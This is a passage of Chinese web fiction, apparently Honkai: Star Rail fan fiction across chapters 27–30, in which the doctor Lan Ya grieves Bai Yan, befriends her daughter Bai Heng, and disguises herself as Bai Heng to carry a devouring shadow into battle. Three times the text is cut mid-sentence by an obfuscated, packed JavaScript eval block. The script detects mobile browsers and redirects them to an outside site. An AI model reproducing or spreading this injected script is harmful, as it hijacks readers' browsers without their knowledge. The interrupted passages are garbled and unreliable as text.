“她现在去罗浮考飞行士了。”白焰说,“成绩很好,教官说她是那批学员里最有天赋的。她像苏湄,也像我们家里那些冒险家先祖,胆子大,不怕死,就怕活得没意思。” “我的命数不多了。”白焰说,“狐人活不了太久。我算过,最多再过几十年,也许更短。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505855|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她转过头看着兰涯,蓝色的眼睛里没有泪:“衡安和我走了之后,白珩就没有家人了。青禾会照顾她,但青禾自己也要人照顾,我怕她撑不住。” 兰涯没有说话,她在等白焰说完。 白焰深吸了一口气,说:“兰涯,我想拜托你一件事。以后白珩遇到难处,你能不能帮帮她?不用特意去找她,就如果碰到了,如果她需要帮忙,你搭把手就行。”她的声音在最后几个字上抖了一下,然后稳住了。 兰涯看着白焰,白焰的耳朵贴着头发,眼睛红红的,狐人在成年后容貌停止了衰老,可白焰的脸上有一种撑不住了,但还是强撑着的疲惫。 “好。”兰涯承诺,“我会的。” “谢谢。”白焰伸手握了握兰涯的手,握得很紧,手指凉凉的。 青禾还要人照顾,白焰松开手,转身走了,她的背影在走廊尽头拐了个弯,消失了。 兰涯站在走廊里,风从外面吹进来,带着山崖上的尘土味。 兰涯见过巡海游侠的葬礼,或者说巡海游侠根本没有葬礼。 有人死了,没有棺材没有遗体没有牌位。活下来的人聚在一起开几瓶酒唱一首歌,唱完把酒洒在地上把杯子摔碎,然后站起来背上枪继续走。 兰涯第一次参加游侠葬礼的时候以为他们在庆祝什么,没有人哭没有人说节哀没有人抱在一起,只是唱歌喝酒摔杯子然后散了。 她问拉曼查为什么不办一个正式的告别仪式,拉曼查说因为明天可能就轮到他们了没时间办,巡海游侠是与明天告别的今天,长夜的牺牲是换取明天的代价。 但仙舟的葬礼不一样,苏湄的葬礼让她觉得胸口被什么东西压住了喘不上来,不是苏湄一个人的死让她这样,是整个过程让她这样。 她想起苏湄笑的样子,哭的样子。想起青禾站在崖边把东西一件一件放进风里的样子,无声哭的样子。想起白焰说“我的命数不多了”的样子。 她站在那里,觉得胸口有什么东西堵着,是她前些天在匹诺康尼感觉到的那种,有一部分是对着自己的。拉曼查说那是愤怒。 她救不了苏湄,救不了青禾的眼泪,救不了白焰的命数。她能做的只是说一句“我会的”。 然后等,等那个不知道什么时候会出现的需要帮忙的时刻。 回到基地的时候天已经黑了,兰涯走过走廊,突然发现拉曼查的房间不在这里了,他搬到了基地最偏远的角落。她听熊说过这件事,说老大想一个人待着清净,她当时没在意,以为他只是想看书或者整理文件。 走到那扇门前,兰涯发现了不对劲,还没有敲门就听到了里面的声音。 撕咬的声音,不是咬东西是咬自己,闷闷的像有什么东西在撕扯皮肉,夹杂着低沉的的喘息。 还有一个声音很轻,像从门的缝隙里传过来,传进她的耳朵里,她听到了那个声音在喊 ——“母亲”。 27.第 27 章 那是影子的声音,贪饕的影子,它在拉曼查的手臂里叫自己“母亲”。 她推开门,房间里没有开灯只有窗外的星光,很暗。 拉曼查坐在地上背靠着床脚,头低着双手撑在膝盖上,右臂上的绷带已经被撕开了,黑色的纹路从皮肤下面鼓起来像一条条蛇在游动,那些纹路在蠕动在膨胀在往他的肩膀蔓延。 地上有几滴血迹和汗渍,他的头发湿了贴在额头上。 “母亲……”影子又在叫了,黑色的纹路从拉曼查的手臂上鼓起来像一只手朝她伸过来。 兰涯往前走了一步,身后有人拉住了她,是熊的大手,握在她肩膀上,把她往后拽了一步。 熊的声音很低很沉:“别过去。” 鸮紧跟着关上了门,三个人来到了外面。 熊叹了口气:“影子的侵蚀最近加重了,不知道为什么,老大前几天还能压住,白天正常训练正常吃饭煮咖啡,但到了晚上就不行了,他把自己关在这个角落里不让任何人靠近。” 接着熊和鸮当着兰涯的面展开了写作“讨论”读作“争论”。 鸮说,他在想办法,找个更好的方式把影子剥离出来保存,不是销毁是保存,因为影子是贪饕的碎片,有利用价值。 熊说,还管什么价值老大的命要紧。 鸮说,没有影子,老大早死了,诛罗那一关就过不去。 熊说,那是以前,现在是影子在要他命。 鸮说,所以需要更好的办法,不是毁掉是剥离。 两个人说话的声音都很低,哪怕在争论,也生怕影响到拉曼查。 兰涯看着他俩争论,她想起诛罗的战场上,游侠们站在港口里看着远处那团黑色的影子吞噬一切时脸上的表情,和他俩一模一样的复杂。 他们知道影子会救人也会杀人,他们靠着影子打赢了诛罗但影子也吞了他们的战友,他们不知道该怎么面对那个影子,爱它因为它救了命,恨它因为它杀了人,放下了拿不起来,拿起来了放不下。 两人争论完仿佛才想起来这里还有个人,不过前面争论时没有用上鸟语花香,显然还是知道克制的。 熊说:“兰医师你先回去,老大这边我们守着。”兰涯没有动。 鸮说:“没事,我们俩会看着,有情况会叫你。”兰涯还是没动。 熊只好说:“老大不想让你看到这个样子。” 兰涯不说话,看着他,熊从中读出了她的疑问:你怎么知道。 熊只好补充:“老大亲口说的,他说兰医师已经够累了别让她看到这些。” 兰涯转身走了,回到自己房间,她关上门,没有开灯,坐在床边看着窗外。 基地外面是荒地,月光照在石头上,白惨惨的像骨头。 她只知道她坐在这里什么都做不了,帮不了米哈伊尔治不了苏湄救不了拉曼查改不了白焰的命数。 她能做的只是等,等白珩需要帮忙的那天,等影子找到剥离的方法的那天,等无名客后辈们前往匹诺康尼的那天,等我见说的变量时刻。 兰涯收到白焰去世的消息时,正在希恩星上,这里是一个很美的地方,打退入侵者后,即将展开战后重建。 消息是青禾发来的,很简短,说白焰走了,祭奠从简,已经结束,不必赶来。 兰涯站在飞船的舷窗前,看着外面漆黑的太空,手里捏着手机,站了很久。 她想起白焰在曜青火锅店说的话,“说不定下次就见不到面了”。她当时说“不会的”,现在白焰不在了。 不过青禾说自己回了玉阙,如果路过可以找她,白焰有一些遗物还留在玉阙。 兰涯从希恩星直接去了玉阙,青禾把一柄很小巧的匕首递给兰涯,说是白焰留给兰涯的,她以前行医的时候自保用的武器。然后又拿出一个小箱子,里面是白焰留给白珩的东西,麻烦她有空路过罗浮的时候带过去。 兰涯到罗浮的时候已经是后面的事了,仙舟航行在宇宙中,互相距离并不近。白珩住在飞行士的宿舍里,和青禾说的地址一样,罗浮南侧的一片老街区,巷子窄得只能走一个半人。 兰涯在巷口等了一会儿,听到里面传来急促的脚步声,然后一个身影从拐角处冲出来。是个年轻的狐人姑娘,穿着飞行士的训练服,头发扎得很紧,露出光洁的额头,蓝眼睛很亮,像夏天晴朗的天空。她的耳朵竖着,在风中摇晃,和当年白焰一模一样,只是少了尖端那一抹朱红。 “兰妈妈!”白珩冲过来一把抱住兰涯,手臂收得很紧,脸埋在兰涯的肩窝里,耳朵贴着她的脖子,毛茸茸的,痒痒的。 兰涯愣了一下,白珩松开她退后一步,脸上的笑容让兰涯恍惚间仿佛看到了在医学院时期的白焰:“我妈跟我说过,你会来。” 好吧,妈妈就妈妈吧。 兰涯默默地想,终于感受到拉曼查被叫“妈妈”的心情了。 兰涯把皮箱递给她。白珩接过皮箱,没有打开,抱在怀里,低下头看着箱子上白焰贴的标签,标签上写着“给珩珩”三个字。 她站了一会儿,深吸一口气,抬起头:“兰妈妈,我带你去吃东西。罗浮有好吃的,比曜青多。” 这句话兰涯仿佛也听到白焰说过,那个时候白焰拉着自己的手穿过曜青的巷子,现在她的女儿拉着自己的手往罗浮的巷子里走,步伐轻快,耳朵一抖一抖的。 白珩带她去的不是火锅店,是一家做貘馍卷的老店。 白珩说,妈妈一直念叨没带兰妈妈吃貘馍卷,今天她来请。 貘馍卷是一种蛋糕卷,外皮有特别可爱的粉色。白珩点了两份,她吃东西的样子也很像白焰,吃得很快,腮帮子鼓鼓的,像只存粮的松鼠。 吃着貘馍卷,白珩又想喝饮料了,她的耳朵晃了晃:“兰妈妈,你喝过苏打豆汁儿吗?这可是仙舟特产。” 这还真没喝过,只见快乐的小狐狸跑去售货机,又跑去隔壁奶茶店,回来时手里捧着两杯奶茶,还有一罐苏打豆汁儿。 小狐狸非常诚实:“呃,很多人喝不惯苏打豆汁儿,兰妈妈你尝尝,喝不惯不要硬喝,这里还有奶茶。” 兰涯观察着苏打豆汁儿所呈现的微妙的、诡异的灰绿色,让她回忆起白焰带她吃火锅时,鸳鸯锅红的那边红得发黑,也莫名地产生了不安的情绪。 她喝了一口,嗯,不是辣的,还能勉强接受,但是那种神奇的味道混合苏打气泡感……她决定临走前买几罐,不能只牺牲自己,那群游侠一个都别落下。 然后兰涯戳开了奶茶,嗯,好喝。 小狐狸眯着眼睛笑,吸管咬得扁扁的,巷子里忽然刮来一阵风,吹得她的耳朵往后翻,她伸手把耳朵按住。 “兰妈妈,我跟你说,”白珩的语气很兴奋,像小孩子考了好成绩要跟家长汇报,“我出了好几次任务,侦察丰饶民据点、深入敌后摸清防线,有一次我的飞行器被击中了,我从天上掉下来,挂在树上,被树枝挂了好几个小时,竟然没有被发现,等救援来了我才下来。” 她说这些的时候眼睛亮亮的,嘴角往上翘,像在讲一件很好玩的事 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白珩蓝色的眼睛里亮晶晶的,满是期待:“兰妈妈,你在宇宙到处救人,有没有看到特别值得推荐的星球?就是那种特别美的,去了不想走的那种。” 兰涯想了想,她去过很多星球,但大部分是战场。她记得那些星球的废墟、焦土、尸体、呻吟。 她记得美的东西吗?她记得,不过那些美不是星球的,是人类的。是人类在困境中团结一心的意志,是人类如流星般前赴后继,用自己的牺牲换取胜利。 “我大部分时间都在战场上。”兰涯说,“没有什么美,只有伤员和死人。” 刚说完,她觉得自己是不是说得太僵硬了,白珩在问她美的东西,她给了一堆废墟和尸体。 她有点尴尬,张了张嘴,想补救一下,不知道该补充什么。果然,她不太会聊天,尤其不会聊这种轻松的、关于“哪里好玩”的天。 白珩笑眯眯地晃晃耳朵,说:“没关系,兰妈妈去的都是战场,战场当然不好看。我来推荐。” 白珩从口袋里掏出一个皱巴巴的笔记本,翻开,里面夹着各种纸片,有便签条、收据,甚至还有一张飞行士食堂饭卡。她翻了几页,抽出一张叠得整整齐齐的纸,展开,是一份手写的稿子。字迹很工整,但有些地方涂改了,旁边画着小插图。 “这是我写的,叫《涯海星槎胜览》。目前只写了朱明仙舟。”白珩把稿子递给兰涯。 “朱明的锻造工坊特别多,整颗星球都是铁锈味,但他们的早茶好吃。有一种蒸团,里面包着腊肉和香菇,咬一口油汪汪的,我一顿能吃五个。”她说着吞了口口水,好像那蒸团就在眼前。 兰涯接过稿子翻了翻,白珩的字很好看,笔画有棱角,像她这个人,干脆利落。稿子的空白处画了几幅小画,一幅是朱明的锻造炉,炉火画得很旺,火星子飞出来;一幅是朱明的街市,两边摆满了摊子,摊子上画着各种形状的兵器;最后一幅是一碟蒸团,画得比前两幅都认真,蒸团的褶子都画出来了。 “我只写了朱明。”白珩的声音低了下去,心虚地舔了舔嘴唇,“本来计划写玉阙的,玉阙我也去了,但回来之后一直忙着训练,没空写。后来又想写曜青,曜青是我老家,能写的更多,但也没空写。” 她把稿子从兰涯手里拿回来,叠好,夹回笔记本里,把笔记本塞进口袋:“我以后会写的,把每一艘仙舟都写一遍,再以后等战争结束,我就出去当个无名客,把所有星球都写一遍。” 她说完这话的时候声音又亮了起来,眼睛也亮亮的,让兰涯都不自觉地带着温柔的笑意。 28.第 28 章 兰涯在罗浮住了几天,才知道白珩的含金量。 走在罗浮的街道上,饭馆里,茶楼里,兰涯陆陆续续听到了白珩的名字,和她绑在一起的那些名字,以及那些被刻在功勋簿上的事迹。 驱走攻入塔拉萨的步离人舰队,是白珩第一次配合执行大型任务。那支步离人舰队在塔拉萨星系附近劫掠了好几年,联盟派了几批人都没打下来。 白珩开着她那架改装过的侦查机单枪匹马钻进了舰队的防御空隙,把他们的补给线标得清清楚楚,联盟军顺着她标出来的路线一路打进去,舰队散了,步离人退了。那年白珩刚刚正式成为飞行士。 破坏丰饶联军中慧骃族与造翼者的同盟,是白珩和镜流一起干的。 慧骃族擅长地面战,造翼者掌控着制空权,两家联手之后丰饶联军的攻势猛了好几倍,联盟派了好几批人都拆不散这个同盟。 最后是白珩想了个法子。她开着飞行器在造翼者的领空上飞了好几圈,故意被追着打,把造翼者的主力引到了慧骃族的防线后方。 慧骃族以为造翼者要抢地盘,造翼者以为慧骃族在背后捅刀子,两家打起来了,同盟自然就散了。镜流说白珩这个法子太损了,白珩说损什么损,管用就行。 解围玉阙仙舟,并击溃活体星球「计都蜃楼」,是云上五骁第一次全员出动。「计都蜃楼」是一颗会移动的星球,表面全是丰饶民的巢穴,它朝着玉阙仙舟的方向漂过来,速度不快,但挡不住。联盟试过用舰队拦截,计都蜃楼直接吞了舰队。试过用火力轰炸,炸掉的巢穴很快又长出来了。 白珩在「计都蜃楼」附近蹲了三天三夜,找到了它的核心位置。景元制定计划,丹枫说服龙师,持明云吟士与仙舟云骑军并肩作战,和镜流负责开路,应星负责破开核心的防御。 核心击碎之后「计都蜃楼」停了,不再移动,巢穴也慢慢枯萎了。 这些事罗浮的每一个人都知道。茶馆里说书的讲过,学堂里先生讲过,巷口下棋的老头也讲过。 但他们讲的和兰涯听到的不太一样,说书的把白珩讲成一个无所不能的英雄,老头们把白珩讲成一个运气好的丫头,只有云骑军的年轻军官们把白珩讲成一个活生生的人。兰涯觉得后者更像她认识的那个白珩。 白珩说要请兰涯吃饭,把她的朋友们都叫来。她借了朋友开在长乐天的私房菜馆,菜馆不大,藏在巷子深处,门口没有招牌,只挂了一盏红灯笼。 白珩站在门口等兰涯,穿着淡紫色的裙子,头发放下来了,披在肩上,耳朵和尾巴都一晃一晃。 饭局定在楼上,房间里一张圆桌,六把椅子,窗户开着,能看到长乐天的街景。白珩先进去,兰涯跟在后面。房间里已经坐了几个人。 “这是镜流,云骑剑首。” 镜流坐在椅子上,腰挺得很直,脸上没有什么表情,但眼睛很亮,看人的时候像刀锋扫过来。她放下茶杯站起来,微微点头:“兰医师,久仰。”声音不大,但很清楚。 “这是景元,我们的智多星。” 白珩指了指旁边一个高个子年轻人。景元穿着云骑军的制服,头发是银白色的披在肩上,眼睛是金色的,带着笑意。他正在吃茶点,嘴角沾了碎屑,看到兰涯赶紧站起来欠身,行了小辈礼。 “这是应星,仙舟「朱明」历史上最年轻的「百冶」。” 白珩指了指角落里一个正拿起酒壶的男人。应星低着头倒酒,听到白珩的声音,他抬起头来,把酒壶搁下,点头致意:“您好,医师,辛苦您关照白珩。” “这是丹枫,仙舟「罗浮」的龙尊。” 白珩最后指了指坐在窗边的人。丹枫穿着深青色的长袍,墨色的头发很长,还有一对龙角。他的表情很淡,看不出情绪,手里端着一杯茶,没有喝,看着窗外。听到白珩叫他,他转过头来看着兰涯,颔首:“医师,久仰,听昆冈君提到过您。” 昆冈君是仙舟「玉阙」的龙尊,兰涯本人其实一次都没见过对方,连是男是女都不知道。 白珩拉着兰涯在中间坐下,自己坐在她旁边,靠着她的肩膀:“兰妈妈,这些都是我最好的朋友。以后你在罗浮有什么事,找他们就行。” 小狐狸又端起杯子站起来:“今天请兰妈妈吃饭,感谢兰妈妈以前照顾我妈,也感谢兰妈妈来看我。我先干为敬。”她把杯子里的茶一口喝了。 镜流眼里带着淡淡的笑意,说:“喝茶不喝酒?” 小狐狸狐假虎威:“兰妈妈不喝酒,我得陪着。” 菜一道一道地上。白珩点的都是罗浮的特色菜,有鲜奶热炒、肉桂香排、豉油蒸鸡、紫芋扣肉、鲫香肉丝,还有一大碗月华鳞虾羹。 白珩夹了一块紫芋扣肉放在兰涯碗里,说这个好吃,肥而不腻。兰涯吃了,确实好吃。 景元很会预热气氛,在讲他最近遇到的一个案子,有个商人报假案骗保险,被他查出来了,那人跪在地上求他别上报,他说不行,那人就说自己和仙舟某某高层有关系,想托关系走后门。 镜流说报假案的人多了,托关系也多了,那人说自己和仙舟某某高层有关系,我还说自己是古国皇帝呢。她又问怎么处理,景元说按报假案处理了。 镜流说怎么不按诈骗处理,你以后当将军,不能这么心软。 景元放下茶杯,叹了口气:“师父,我不当将军。我要当巡海游侠。” 镜流看了他一眼,抬手在他脑门上轻轻敲了一下:“由不得你。” 那一敲不重,声音却很脆,景元捂着脑门哎呦了一声。他揉了揉额头,忽然坐直了身体,转头看着兰涯:“兰医师,你和巡海游侠很熟对吧?” 兰涯颔首。 景元的眼睛亮了起来,金色的瞳孔在灯笼的光里像两颗暖黄色的刚玉:“那你给我讲讲领猎人拉曼查诛杀诛罗的事可以吗?” 他说这话的时候语气很兴奋,像小孩问大人要糖吃。镜流端起茶杯喝了一口,没有阻止他,也没有说他幼稚。 兰涯张了张嘴,一时间不知道从哪里开始。她不太会讲故事,尤其不会讲那种英雄故事。她记得诛罗之战的血和灰,记得港口里伤员的呻吟,记得拉曼查蹲下来和她平视时眼里的疲惫。她犹豫了一下,正想说“我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505857|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太会讲”,应星开口了。 应星放下手里的锉刀,抬起头看着景元:“我见过拉曼查先生,在朱明。怀炎将军让我重新为他打造东西。” 景元转过头看着他,问打造什么。应星没有回答,他看了一眼兰涯,兰涯没有说话,她知道是什么,三才钉,拉曼查手腕上那三枚用来封印影子的钉子。应星说的应该就是那件事,但两人都心知肚明地没有说出来。 她移开了目光,端起茶杯喝了一口,尝试转移话题,讲了铁尔南的故事,那位又是无名客又是巡海游侠的豪杰。 她很不会讲故事,就像在米哈伊尔面前讲那样,没有修饰,没有煽情,但讲到铁尔南在战场的星空下说“去看看我们曾经拼命守护的那种安宁与美好”的时候,房间里安静了一会儿。 丹枫举起杯子:“敬英雄。” 大家也跟着举起了杯子:“敬英雄。” 兰涯看着这位罗浮龙尊,想起我见在灰扑扑的小行星上说的话。 “仙舟罗浮的龙尊,必须彻底抛开往昔的束缚,在规定的时间点登上列车。” 原来就是这位吗? 饭桌上气氛开始浓烈了,应星终于开口问兰涯:“兰医师,你那双针,是什么材质?”他显然惦记了很久。 兰涯干脆拔下来大大方方地递给了应星,应星一脸惊讶,小心翼翼地捧着看了又看,一会儿说看着不像仙舟的金属,一会儿又说也不像公司的合金,接着开始嘀嘀咕咕一些兰涯听不懂的术语,周围几位显然已经习惯了。 末了,他说如果能让他测一下成分,他也许能仿制。 白珩吐槽仿制了也没用,兰妈妈的针不是普通人能用的。 应星回应自己知道,但好奇,他见过很多金属,没见过那种光泽。 饭过三巡,酒也过了三巡。不,丹枫只过了一巡,他喝了第一杯酒脸上就红扑扑的了,应星笑话他人菜瘾大。 白珩又给自己倒了一杯茶,端起来对着兰涯:“兰妈妈,我再敬你一杯。敬你救过我爸,救过那么多云骑军。” 其他人也跟着举起了杯子:“敬医师。” 这搞得兰涯有些不好意思,白珩把茶喝了,放下杯子,耳朵抖了抖:“我爸说你救他的时候,倏忽的瘴气已经蔓延到胸口了,丹鼎司都放弃了,你来了,两针下去,他就活了。他说那时候看到你的针,觉得那不是什么医疗器械,是两颗星星。一颗金色的,一颗银色的。” 饭后,白珩送兰涯下楼。走到巷口,白珩停下来,转过身看着兰涯。灯笼的光照在她脸上,红彤彤的,仿佛没喝酒也有了红晕。 “兰妈妈,你觉得我又当云骑军又当无名客怎么样?” 兰涯觉得小狐狸可爱极了,不待兰涯回答,白珩抱了抱兰涯,松开,转身跑回巷子里,耳朵在后面一抖一抖的,消失在红灯笼的光里。 兰涯站在巷口,看着那个方向。她想起白焰说“搭把手”,想起我见说的那句“必须彻底抛开往昔的束缚。” 她不知道丹枫要抛开什么,也不知道他什么时候要登上列车。但她觉得那一天不会太远了。 29.第 29 章 战鼓声从玉界门的方向传来,沉闷如心跳,一下一下敲在所有人的胸口。 罗浮仙舟的天已然失去了往日的清明。天际不再是流转星云的光带,取而代之的是一片蠕动着的、暗红色的血肉穹顶。 那是倏忽的枝干,金色的枝条如同活物的血管,深深扎入洞天的壁障,每一次搏动都让整个空间为之震颤。 兰涯站在残垣之上,她的目光越过层层叠叠的云骑军阵列,投向远处那道几乎遮蔽了半面天际的庞大身影。 那确实是一棵树,主干粗壮得足以吞没整座洞天,枝干分叉之处,生着密密麻麻的眼睛,表面流动着无数张面孔,那些面孔时而舒展成痛苦的嘶吼,时而紧缩成诡异的微笑,千面千态,无一刻停歇。 丰饶令使「倏忽」。 之前玉阙仙舟那场被仙舟历史成为第二次丰饶民战争中,「倏忽」还算退居二线,由丰饶民上阵。但这次不一样,「倏忽」亲自上阵了。 这位丰饶令使带来的并非死亡,而是一种扭曲的比死更可怕的生。 死至少是终结,而倏忽所赐予的生,是让你亲眼看着自己的身体长出不属于自己的器官,看着战友的脸在树干上对你微笑,看着脚下的地面变成一块还在搏动的巨大脏器。 「倏忽」是为了建木来的。云骑军的第一道防线在第一天就崩了。 枝干的触须扫过来,阵地像纸糊的一样被撕开,星槎碎成片,建筑塌成废墟。活着的人从废墟里爬出来,还没站稳,下一波根须扎进罗浮的地底,像血管一样向四面八方蔓延。 第二天,罗浮半数的洞天被摧毁。第三天,云骑军的伤亡报告送到了将军腾骁的案头。十不存一,不是夸张,是数字。 腾骁将军离开案头,离开议事厅,已经领兵站在了战线最前面。 “兰涯。” 身后传来脚步声。她没有回头,从步伐的节奏和呼吸的频率,她就知道是谁。 拉曼查。 他出现在这里,也是因为受仙舟委托,本着游侠和仙舟同走巡猎命途,之前的友好合作,以及仙舟对于游侠,特别是拉曼查本人的帮助,他是必须要来的。 此刻拉曼查的脸色非常阴沉,如果放几个琥珀纪以前,他早就开始展现巡海游侠特有的“鸟语花香”了,但现在他忍住了。 仙舟高层在紧急会议上提出了一个方案。巡海游侠的领猎人拉曼查手臂中封印着贪饕的影子,拥有吞噬一切的能力。如果能把影子投放到倏忽的核心位置,让它吞噬倏忽,罗浮就有救了。 看似是非常完美的办法,但这个方案遇到了部分派系高层的反对,理由非常可笑:拉曼查不是仙舟人,他是一个外人,一个游侠,一个不在仙舟体系内的人。让一个外人带着古兽的影子出现在战场上,仙舟脸面何在? 各个派系吵了整整一天,没有人反对用影子,但不少“老资历”都反对让拉曼查本人出现在战场上。 最后他们达成了一个妥协:影子可以用,但不能由拉曼查来用,需要一位地道的仙舟战士,一位对仙舟的忠诚毋庸置疑的人,捧着影子前往战场。 人选指向了白珩。她是云上五骁之一,战功赫赫,绝佳的人选。 拉曼查正是来告诉兰涯这个仙舟高层传达的决定,他估计兰涯早就有预感了。 听完拉曼查的告知,兰涯不说话。 但拉曼查看到兰涯肉眼可见地拧起了眉,手紧紧地握着,在颤抖。这是他从未在兰涯脸上见过的表情。 “我不同意。”兰涯开口了,“白珩不能死。” 她仿佛看见了那个在风中拜托自己“搭把手”的白焰,听到了自己郑重的承诺,她忽然感觉到意识一阵眩晕,视野开始模糊,周围的东西包括拉曼查都在变淡。 她闭上眼睛,又睁开,发现自己的意识在另一个地方。 天与地都是茫然的宇宙,踩着脚下的碎石,前面有一点金光,这是命途狭间。 一只黑猫走过来,步伐很慢,尾巴竖着,瞳孔是莫比乌斯环的形状,眼睛是金色的,眨了眨,又变成了蓝色。它走到兰涯面前,蹲下来,抬头看着她。 “我见。” 兰涯冷冷地说,看到第一眼,她就已经明白这个时间点我见出现的原因了。 “白珩死后,丹枫为了复活白珩,造成了饮月之乱。”黑猫的声音平静得像在念一份报告,“正是这场饮月之乱,他众叛亲离,蜕生后在新一世以‘丹恒’的名字上星穹列车。” “够了。” 兰涯的声音不大,但黑猫停下了。 因为它感觉到了一种从未在兰涯身上出现过的情绪。 愤怒。 “我不接受。”兰涯说,每个字都像是从牙缝里挤出来的,“我不接受这个定量。” 黑猫歪着头看她,眼睛里没有怜悯,没有同情。 “这不是你接不接受的问题。”黑猫说,“我上次跟你说过,仙舟罗浮的——” 黑猫的话没有说完,就被兰涯毫不客气地打断:“仙舟罗浮的龙尊,必须彻底抛开往昔的束缚,在规定的时间点登上列车。” “我记着这句话,”兰涯直视黑猫的眼睛,“你所谓的‘只有白珩死,丹枫才会离开罗浮登上列车’。这个结论的因果链是什么?” 黑猫沉默了一瞬,然后说:“无论如何,必须达成这个目标,哪怕你不同意,我们也会不择手段。” 兰涯笑了,显然是被气笑了,她平复了一下情绪,保持了冷静,说:“那么我如果又能让白珩活下去,又能让丹枫的转世抛开束缚登上列车,你还会干涉我吗?” 黑猫盯着她看了很久:“你打算做什么?” 兰涯伸手摸了摸鬓角的假面发夹,那面具在她指尖微微震动,像是有自己的意志:“待在我身边见证了那么多,是时候出来帮忙了。” 黑猫总结:“你同意不择手段帮助达成龙尊离开罗浮的目的,但不是通过牺牲白珩。” 兰涯点头。 黑猫问:“你知道不择手段是什么意思吗?” 兰涯又点头。 黑猫再问:“你愿意承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505858|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后果吗?” 兰涯坚定地说:“我知道,我愿意。” 黑猫站起来,转身走了,走了几步,停下来,没有回头:“欢愉假面的力量不是无限的,同时维持两个‘身份’的认知扭曲,哪怕是一会儿,也变得精神不稳定,用一次足够了,别再多用,不然就像阿哈一样,自己是谁都找不到了。” 黑猫消失了。 兰涯睁开眼睛,发现自己还站在原地,拉曼查正担忧地看着自己。 她伸手摸了摸头发上的发夹。那枚发夹是阿哈送的,在悲悼伶人的剧场里,面具变成发夹别在她头上,一直没有动过。她摘下来,放在手心里,想起阿哈说的话。“医师喜欢什么结局?让你喜欢的结局快一点来,有什么不好呢?” 她把发夹重新别回头上,对拉曼查说:“我们走,路上跟你说,先去找景元。” 兰涯找到景元的时候,他还在驻地里。房间里没有别人,只有他一个人坐在桌前,面前摊着一张星图,图上标着倏忽的位置和云骑军的防线。他低着头,手撑着额头,看起来很累。 兰涯走进去,关上门。景元抬起头,看到她,问:“兰医师,有事吗?” “我已经知道了,白珩不能去。”她开门见山。 景元看着她,没有说话。 兰涯继续说出计划:“我会替她去。” 景元站起来,椅子往后滑了一下,发出刺耳的声音:“兰医师你说什么?” 兰涯盯着景元的眼睛,一字一顿地把话说清楚:“我会扮成白珩,捧着影子去吞倏忽。” 景元不愧是白珩说的智多星,秒懂了兰涯的意思,他压低了声音:“你需要我做什么?” “打晕白珩,把她藏起来,等事情结束了再放出来。” 景元看着她,他的眼睛是金色的,此时此刻带着一种沉舟破釜的希望,他没有回答,而是直接拿起桌上的玉兆:“白珩,有紧急任务,来一趟我这里。” 他挂了通讯,告知结果:“她十分钟后到。” 白珩来的时候身上还穿着飞行服,脸上有灰,额头上有一道小口子,血已经干了。她看到兰涯在房间里,愣了一下,说:“兰妈妈,你怎么在这?” 兰涯没有说话,上前主动地温柔地抱住了白珩。景元站在白珩身后,抬起手,在她后颈上砍了一下。 一瞬间,白珩的眼睛睁大了,瞳孔散开,身体软了下去。 景元赶紧帮兰涯一起合力接住她,把她放在旁边的椅子上。 兰涯换上白珩的飞行服。衣服上有白珩的味道,洗衣液和汗味混在一起,还有一股淡淡的血腥气。 她把头发放下来,散在肩上,把阿哈的面具别在头发上。面具在她发间微微发烫,银色的光从她的头顶蔓延到全身。她站在镜子前面,看到镜子里的人不是自己了,是白珩。蓝眼睛,毛茸茸的狐耳,身材变了,站姿都变了,她试着张开嘴,声音也变了。 面具在模拟白珩的一切。她伸手摸了摸耳朵,毛茸茸的,软软的,会动,放下手,转身走出房间。 30.第 30 章 拉曼查在战场后方的一个临时营地里等「白珩」。 他穿着云骑军的铠甲,头盔压得很低,遮住了大半张脸。没有人认出他,没有人问他为什么在这里。 仙舟的高层安排他来回收影子,那群老资历们不想跟他说话,他也不想跟这群老不死的说话。 他靠在一堆弹药箱上,右臂的袖子卷着,三枚钉子钉在手腕上。他的手按在最上面那枚钉子上,没有按下去,只是按着,感受着钉帽压进掌心的触感。 影子在下面蠕动,很急切,像一条饿了三天三夜的蛇。影子在等,等它从这里跳出去,等它吞噬倏忽,等它吃饱了,带着丰饶的滋味再回到他身体里。 一阵脚步声响起,拉曼查抬起头,仙舟的几个高级老不死簇拥着「白珩」走来了。忽视了老不死们的车轱辘话,拉曼查只看到「白珩」蓝色的眼睛,以及她坚定的声音。 影子被放了出来,意外乖巧地蜷缩在「白珩」的手里,「白珩」在老不死们的目光中登上星槎,拉曼查作为要回收影子的,上了另一艘星槎,紧跟其后。 